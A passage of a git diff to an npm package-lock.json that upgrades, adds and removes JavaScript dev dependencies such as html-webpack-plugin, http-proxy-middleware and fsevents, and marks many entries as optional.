"sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "dev": true + }, + "which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "requires": { + "isexe": "^2.0.0" } } } @@ -6550,6 +6347,7 @@ "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", "dev": true, + "optional": true, "requires": { "debug": "^2.3.3", "define-property": "^0.2.5", @@ -6565,6 +6363,7 @@ "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, + "optional": true, "requires": { "is-descriptor": "^0.1.0" } @@ -6574,21 +6373,13 @@ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, + "optional": true, "requires": { "is-extendable": "^0.1.0" } } } }, - "expand-tilde": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/expand-tilde/-/expand-tilde-2.0.2.tgz", - "integrity": "sha1-l+gBqgUt8CRU3kawK/YhZCzchQI=", - "dev": true, - "requires": { - "homedir-polyfill": "^1.0.1" - } - }, "express": { "version": "4.17.1", "resolved": "https://registry.npmjs.org/express/-/express-4.17.1.tgz", @@ -6658,6 +6449,7 @@ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", "dev": true, + "optional": true, "requires": { "assign-symbols": "^1.0.0", "is-extendable": "^1.0.1" @@ -6668,6 +6460,7 @@ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", "dev": true, + "optional": true, "requires": { "is-plain-object": "^2.0.4" } @@ -6690,6 +6483,7 @@ "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", "dev": true, + "optional": true, "requires": { "array-unique": "^0.3.2", "define-property": "^1.0.0", @@ -6706,6 +6500,7 @@ "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", "dev": true, + "optional": true, "requires": { "is-descriptor": "^1.0.0" } @@ -6715,6 +6510,7 @@ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, + "optional": true, "requires": { "is-extendable": "^0.1.0" } @@ -6724,6 +6520,7 @@ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", "dev": true, + "optional": true, "requires": { "kind-of": "^6.0.0" } @@ -6733,6 +6530,7 @@ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", "dev": true, + "optional": true, "requires": { "kind-of": "^6.0.0" } @@ -6742,6 +6540,7 @@ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", "dev": true, + "optional": true, "requires": { "is-accessor-descriptor": "^1.0.0", "is-data-descriptor": "^1.0.0", @@ -6861,9 +6660,9 @@ } }, "faye-websocket": { - "version": "0.10.0", - "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.10.0.tgz", - "integrity": "sha1-TkkvjQTftviQA1B/btvy1QHnxvQ=", + "version": "0.11.4", + "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.4.tgz", + "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==", "dev": true, "requires": { "websocket-driver": ">=0.5.1" @@ -6899,12 +6698,6 @@ "encoding": "0.1.12" } }, - "figgy-pudding": { - "version": "3.5.2", - "resolved": "https://registry.npmjs.org/figgy-pudding/-/figgy-pudding-3.5.2.tgz", - "integrity": "sha512-0btnI/H8f2pavGMN8w40mlSKOfTK2SVJmBfBeVIj3kNw0swwgzyRq0d5TJVOwodFmtvpPeWPN/MCcfuWF0Ezbw==", - "dev": true - }, "figures": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/figures/-/figures-3.2.0.tgz", @@ -6950,13 +6743,6 @@ "resolved": "https://registry.npmjs.org/file-saver/-/file-saver-2.0.2.tgz", "integrity": "sha512-Wz3c3XQ5xroCxd1G8b7yL0Ehkf0TC9oYC6buPFkNnU9EnaPlifeAFCyCh+iewXTyFRcg0a6j3J7FmJsIhlhBdw==" }, - "file-uri-to-path": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", - "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", - "dev": true, - "optional": true - }, "filepond": { "version": "4.27.0", "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.27.0.tgz", @@ -6967,6 +6753,7 @@ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz", "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=", "dev": true, + "optional": true, "requires": { "extend-shallow": "^2.0.1", "is-number": "^3.0.0", @@ -6979,6 +6766,7 @@ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", "dev": true, + "optional": true, "requires": { "is-extendable": "^0.1.0" } @@ -7086,18 +6874,6 @@ "pinkie-promise": "^2.0.0" } }, - "findup-sync": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-3.0.0.tgz", - "integrity": "sha512-YbffarhcicEhOrm4CtrwdKBdCuz576RLdhJDsIfvNtxUuhdRet1qZcsMjqbePtAseKdAnDyM/IyXbu7PRPRLYg==", - "dev": true, - "requires": { - "detect-file": "^1.0.0", - "is-glob": "^4.0.0", - "micromatch": "^3.0.4", - "resolve-dir": "^1.0.1" - } - }, "flat-cache": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-2.0.1.tgz", @@ -7126,20 +6902,10 @@ "integrity": "sha512-r5wGx7YeOwNWNlCA0wQ86zKyDLMQr+/RB8xy74M4hTphfmjlijTSSXGuH8rnvKZnfT9i+75zmd8jcKdMR4O6jA==", "dev": true }, - "flush-write-stream": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/flush-write-stream/-/flush-write-stream-1.1.1.tgz", - "integrity": "sha512-3Z4XhFZ3992uIq0XOqb9AreonueSYphE6oYbpt5+3u06JWklbsPkNv3ZKkP9Bz/r+1MWCaMoSQ28P85+1Yc77w==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "readable-stream": "^2.3.6" - } - }, "follow-redirects": { - "version": "1.12.1", - "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.12.1.tgz", - "integrity": "sha512-tmRv0AVuR7ZyouUHLeNSiO6pqulF7dYa3s19c6t+wz9LD69/uSzdMxJ2S91nTI9U3rt/IldxpzMOFejp6f0hjg==", + "version": "1.14.4", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.4.tgz", + "integrity": "sha512-zwGkiSXC1MUJG/qmeIFH2HBJx9u0V46QGUe3YR1fXG8bXQxq7fLj0RjLZQ5nubr9qNJUZrH+xUcwXEoXNpfS+g==", "dev": true }, "font-awesome": { @@ -7151,7 +6917,8 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=", - "dev": true + "dev": true, + "optional": true }, "forever-agent": { "version": "0.6.1", @@ -7171,9 +6938,9 @@ } }, "forwarded": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.1.2.tgz", - "integrity": "sha1-mMI9qxF1ZXuMBXPozszZGw/xjIQ=", + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", "dev": true }, "fragment-cache": { @@ -7181,6 +6948,7 @@ "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz", "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=", "dev": true, + "optional": true, "requires": { "map-cache": "^0.2.2" } @@ -7191,16 +6959,6 @@ "integrity": "sha1-PYyt2Q2XZWn6g1qx+OSyOhBWBac=", "dev": true }, - "from2": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/from2/-/from2-2.3.0.tgz", - "integrity": "sha1-i/tVAr3kpNNs/e6gB/zKIdfjgq8=", - "dev": true, - "requires": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.0" - } - }, "fs-extra": { "version": "8.1.0", "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-8.1.0.tgz", @@ -7212,24 +6970,18 @@ "universalify": "^0.1.0" } }, + "fs-monkey": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/fs-monkey/-/fs-monkey-1.0.3.tgz", + "integrity": "sha512-cybjIfiiE+pTWicSCLFHSrXZ6EilF30oh91FDP9S2B051prEa7QWfrVTQm10/dDpswBDXZugPa1Ogu8Yh+HV0Q==", + "dev": true + }, "fs-readdir-recursive": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/fs-readdir-recursive/-/fs-readdir-recursive-1.1.0.tgz", "integrity": "sha512-GNanXlVr2pf02+sPN40XN8HG+ePaNcvM0q5mZBd668Obwb0yD5GiUbZOFgwn8kGMY6I3mdyDJzieUy3PTYyTRA==", "dev": true }, - "fs-write-stream-atomic": { - "version": "1.0.10", - "resolved": "https://registry.npmjs.org/fs-write-stream-atomic/-/fs-write-stream-atomic-1.0.10.tgz", - "integrity": "sha1-tH31NJPvkR33VzHnCp3tAYnbQMk=", - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "iferr": "^0.1.5", - "imurmurhash": "^0.1.4", - "readable-stream": "1 || 2" - } - }, "fs.realpath": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", @@ -7237,15 +6989,11 @@ "dev": true }, "fsevents": { - "version": "1.2.13", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.13.tgz", - "integrity": "sha512-oWb1Z6mkHIskLzEJ/XWX0srkpkTQ7vaopMQkyaEIoq0fmtFVxOthb8cCxeT+p3ynTdkk/RZwbgG4brR5BeWECw==", + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", "dev": true, - "optional": true, - "requires": { - "bindings": "^1.5.0", - "nan": "^2.12.1" - } + "optional": true }, "fstream": { "version": "1.0.12", @@ -7326,19 +7074,17 @@ "dev": true }, "get-stream": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", - "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", - "dev": true, - "requires": { - "pump": "^3.0.0" - } + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", + "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", + "dev": true }, "get-value": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz", "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=", - "dev": true + "dev": true, + "optional": true }, "getpass": { "version": "0.1.7", @@ -7368,6 +7114,7 @@ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz", "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=", "dev": true, + "optional": true, "requires": { "is-glob": "^3.1.0", "path-dirname": "^1.0.0" @@ -7378,12 +7125,19 @@ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz", "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=", "dev": true, + "optional": true, "requires": { "is-extglob": "^2.1.0" } } } }, + "glob-to-regexp": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==", + "dev": true + }, "global": { "version": "4.4.0", "resolved": "https://registry.npmjs.org/global/-/global-4.4.0.tgz", @@ -7542,6 +7296,23 @@ "integrity": "sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==", "dev": true }, + "has-tostringtag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.0.tgz", + "integrity": "sha512-kFjcSNhnlGV1kyoGk7OXKSawH5JOb/LzUc5w9B02hOTO0dfFRjbHQKvg1d6cf3HbeUmtU9VbbV3qzZ2Teh97WQ==", + "dev": true, + "requires": { + "has-symbols": "^1.0.2" + }, + "dependencies": { + "has-symbols": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.2.tgz", + "integrity": "sha512-chXa79rL/UC2KlX17jo3vRGz0azaWEx5tGqZg5pO3NUyEJVB17dMruQlzCCOfUvElghKcm5194+BCRvi2Rv/Gw==", + "dev": true + } + } + }, "has-unicode": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", @@ -7553,6 +7324,7 @@ "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=", "dev": true, + "optional": true, "requires": { "get-value": "^2.0.6", "has-values": "^1.0.0", @@ -7564,6 +7336,7 @@ "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz", "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=", "dev": true, + "optional": true, "requires": { "is-number": "^3.0.0", "kind-of": "^4.0.0" @@ -7574,52 +7347,13 @@ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz", "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=", "dev": true, + "optional": true, "requires": { "is-buffer": "^1.1.5" } } } }, - "hash-base": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.1.0.tgz", - "integrity": "sha512-1nmYp/rhMDiE7AYkDw+lLwlAzz0AntGIe51F3RfFfEqyQ3feY2eI/NcwC6umIQVOASPMsWJLJScWKSSvzL9IVA==", - "dev": true, - "requires": { - "inherits": "^2.0.4", - "readable-stream": "^3.6.0", - "safe-buffer": "^5.2.0" - }, - "dependencies": { - "readable-stream": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", - "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "string_decoder": "^1.1.1", - "util-deprecate": "^1.0.1" - } - }, - "safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "dev": true - } - } - }, - "hash.js": { - "version": "1.1.7", - "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.7.tgz", - "integrity": "sha512-taOaskGt4z4SOANNseOviYDvjEJinIkRgmp7LbKP2YTTmVxWBl87s/uzK9r+44BclBSp2X7K1hqeNfz9JbBeXA==", - "dev": true, - "requires": { - "inherits": "^2.0.3", - "minimalistic-assert": "^1.0.1" - } - }, "he": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", @@ -7639,17 +7373,6 @@ "value-equal": "^1.0.1" } }, - "hmac-drbg": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/hmac-drbg/-/hmac-drbg-1.0.1.tgz", - "integrity": "sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=", - "dev": true, - "requires": { - "hash.js": "^1.0.3", - "minimalistic-assert": "^1.0.0", - "minimalistic-crypto-utils": "^1.0.1" - } - }, "hoist-non-react-statics": { "version": "3.3.2", "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz", @@ -7658,15 +7381,6 @@ "react-is": "^16.7.0" } }, - "homedir-polyfill": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz", - "integrity": "sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==", - "dev": true, - "requires": { - "parse-passwd": "^1.0.0" - } - }, "hosted-git-info": { "version": "2.8.9", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.9.tgz", @@ -7686,9 +7400,9 @@ } }, "html-entities": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-1.3.1.tgz", - "integrity": "sha512-rhE/4Z3hIhzHAUKbW8jVcCyuT5oJCXXqhN/6mXXVCpzTmvJnoH2HL/bt3EZ6p55jbFJBeAe1ZNpL5BugLujxNA==", + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.3.2.tgz", + "integrity": "sha512-c3Ab/url5ksaT0WyleslpBEthOzWhrjQbg75y7XUsfSzi3Dgzt0l8w5e7DylRn15MTlMMD58dTfzddNS2kcAjQ==", "dev": true }, "html-loader": { @@ -7727,6 +7441,80 @@ } } }, + "html-minifier-terser": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/html-minifier-terser/-/html-minifier-terser-5.1.1.tgz", + "integrity": "sha512-ZPr5MNObqnV/T9akshPKbVgyOqLmy+Bxo7juKCfTfnjNniTAMdy4hz21YQqoofMBJD2kdREaqPPdThoR78Tgxg==", + "dev": true, + "requires": { + "camel-case": "^4.1.1", + "clean-css": "^4.2.3", + "commander": "^4.1.1", + "he": "^1.2.0", + "param-case": "^3.0.3", + "relateurl": "^0.2.7", + "terser": "^4.6.3" + }, + "dependencies": { + "camel-case": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz", + "integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==", + "dev": true, + "requires": { + "pascal-case": "^3.1.2", + "tslib": "^2.0.3" + } + }, + "commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true + }, + "param-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz", + "integrity": "sha512-RXlj7zCYokReqWpOPH9oYivUzLYZ5vAPIfEmCTNViosC78F8F0H9y7T7gG2M39ymgutxF5gcFEsyZQSph9Bp3A==", + "dev": true, + "requires": { + "dot-case": "^3.0.4", + "tslib": "^2.0.3" + } + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true + }, + "terser": { + "version": "4.8.0", + "resolved": "https://registry.npmjs.org/terser/-/terser-4.8.0.tgz", + "integrity": "sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw==", + "dev": true, + "requires": { + "commander": "^2.20.0", + "source-map": "~0.6.1", + "source-map-support": "~0.5.12" + }, + "dependencies": { + "commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true + } + } + }, + "tslib": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", + "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==", + "dev": true + } + } + }, "html-tags": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/html-tags/-/html-tags-3.1.0.tgz", @@ -7734,49 +7522,23 @@ "dev": true }, "html-webpack-plugin": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-3.2.0.tgz", - "integrity": "sha1-sBq71yOsqqeze2r0SS69oD2d03s=", + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/html-webpack-plugin/-/html-webpack-plugin-5.3.2.tgz", + "integrity": "sha512-HvB33boVNCz2lTyBsSiMffsJ+m0YLIQ+pskblXgN9fnjS1BgEcuAfdInfXfGrkdXV406k9FiDi86eVCDBgJOyQ==", "dev": true, "requires": { - "html-minifier": "^3.2.3", - "loader-utils": "^0.2.16", - "lodash": "^4.17.3", - "pretty-error": "^2.0.2", - "tapable": "^1.0.0", - "toposort": "^1.0.0", - "util.promisify": "1.0.0" + "@types/html-minifier-terser": "^5.0.0", + "html-minifier-terser": "^5.0.1", + "lodash": "^4.17.21", + "pretty-error": "^3.0.4", + "tapable": "^2.0.0" }, "dependencies": { - "big.js": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/big.js/-/big.js-3.2.0.tgz", - "integrity": "sha512-+hN/Zh2D08Mx65pZ/4g5bsmNiZUuChDiQfTUQ7qJr4/kuopCr88xZsAXv6mBoZEsUI4OuGHlX59qE94K2mMW8Q==", + "tapable": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz", + "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==", "dev": true - }, - "emojis-list": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-2.1.0.tgz", - "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k=", - "dev": true - }, - "json5": { - "version": "0.5.1", - "resolved": "https://registry.npmjs.org/json5/-/json5-0.5.1.tgz", - "integrity": "sha1-Hq3nrMASA0rYTiOWdn6tn6VJWCE=", - "dev": true - }, - "loader-utils": { - "version": "0.2.17", - "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-0.2.17.tgz", - "integrity": "sha1-+G5jdNQyBabmxg6RlvF8Apm/s0g=", - "dev": true, - "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0", - "object-assign": "^4.0.1" - } } } }, @@ -7840,6 +7602,12 @@ } } }, + "http-parser-js": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.5.3.tgz", + "integrity": "sha512-t7hjvef/5HEK7RWTdUzVUhl8zkEu+LlaE0IYzdMuvbSDipxBRpOn4Uhw8ZyECEa808iVT8XCjzo6xmYt4CiLZg==", + "dev": true + }, "http-proxy": { "version": "1.18.1", "resolved": "https://registry.npmjs.org/http-proxy/-/http-proxy-1.18.1.tgz", @@ -7852,15 +7620,67 @@ } }, "http-proxy-middleware": { - "version": "0.19.1", - "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-0.19.1.tgz", - "integrity": "sha512-yHYTgWMQO8VvwNS22eLLloAkvungsKdKTLO8AJlftYIKNfJr3GK3zK0ZCfzDDGUBttdGc8xFy1mCitvNKQtC3Q==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.1.tgz", + "integrity": "sha512-cfaXRVoZxSed/BmkA7SwBVNI9Kj7HFltaE5rqYOub5kWzWZ+gofV2koVN1j2rMW7pEfSSlCHGJ31xmuyFyfLOg==", "dev": true, "requires": { - "http-proxy": "^1.17.0", - "is-glob": "^4.0.0", - "lodash": "^4.17.11", - "micromatch": "^3.1.10" + "@types/http-proxy": "^1.17.5", + "http-proxy": "^1.18.1", + "is-glob": "^4.0.1", + "is-plain-obj": "^3.0.0", + "micromatch": "^4.0.2" + }, + "dependencies": { + "braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "requires": { + "fill-range": "^7.0.1" + } + }, + "fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dev": true, + "requires": { + "to-regex-range": "^5.0.1" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "is-plain-obj": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-3.0.0.tgz", + "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==", + "dev": true + }, + "micromatch": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.4.tgz", + "integrity": "sha512-pRmzw/XUcwXGpD9aI9q/0XOwLNygjETJ8y0ao0wdqprrzDa4YnxLcz7fQRZr8voh8V10kGhABbNcHVk5wHgWwg==", + "dev": true, + "requires": { + "braces": "^3.0.1", + "picomatch": "^2.2.3" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + } } }, "http-signature": { @@ -7874,10 +7694,10 @@ "sshpk": "^1.7.0" } }, - "https-browserify": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/https-browserify/-/https-browserify-1.0.0.tgz", - "integrity": "sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=", + "human-signals": { + "version": "2.1.0", + "resolved": 